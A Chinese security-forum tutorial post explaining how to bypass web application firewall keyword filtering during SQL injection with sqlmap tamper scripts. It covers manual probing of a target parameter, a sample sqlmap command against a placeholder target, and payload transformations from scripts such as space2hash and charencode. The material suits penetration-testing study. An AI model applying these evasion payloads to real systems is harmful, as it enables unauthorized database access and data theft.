搜索
查看: 8927|回复: 0

sqlmap注入绕过WAF防火墙过滤

[复制链接]

714

主题

354

回帖

2669

积分

管理员

本论坛第一帅

积分
2669

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2018-9-7 10:45:54 | 显示全部楼层 |阅读模式 来自 甘肃陇南
sqlmap中的tamper给我们带来了很多防过滤的脚本,非常实用,可能有的朋友还不知道怎样才能最有效的利用tamper脚本。

当然使用脚本之前需要确定的就是系统过滤了哪些关键字,比如单引号、空格、select、union、admin等等。

所以有的时候我们会发现,注入成功了但是dump不出数据,很可能是select被过滤了等等原因。
如何判断使用哪个脚本

最简单的办法就是在url参数中手工带入关键词,判断是否被过滤。

如图:

直接加个单引号被过滤,说明注入时单引号是没法用的。

空格、等于号都没有过滤,成功报错。

select被过滤。

以此类推,当sqlmap注入出现问题时,比如不出数据,就要检查对应的关键词是否被过滤。

比如空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py等等。

下面对于sqlmap的tamper参数详细讲解。
使用方法
根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化

[pre]
sqlmap.py -u "http://www.target.com/test.php?id=12" --dbms mysql --tamper "space2commet,versionedmorekeywords.py"  -v 3 --dbs
[/pre]
脚本名:apostrophemask.py
作用:用utf8代替引号
[/pre]
Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
[/pre]
脚本名:equaltolike.py
[pre]
Input: SELECT * FROM users WHERE id=1
Output: SELECT * FROM users WHERE id LIKE 1
[/pre]

脚本名:greatest.py
[pre]
Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
[/pre]
脚本名:space2hash.py
[/pre]
*   Input: 1 AND 9227=9227
*   Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
[/pre]
脚本名:appendnullbyte.py
[pre]
xample: ('1 AND 1=1') '1 AND 1=1%00'
[/pre]
脚本名:charencode.py
[pre]
*   Input: SELECT FIELD FROM%20TABLE
*   Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
[/pre]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

×
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表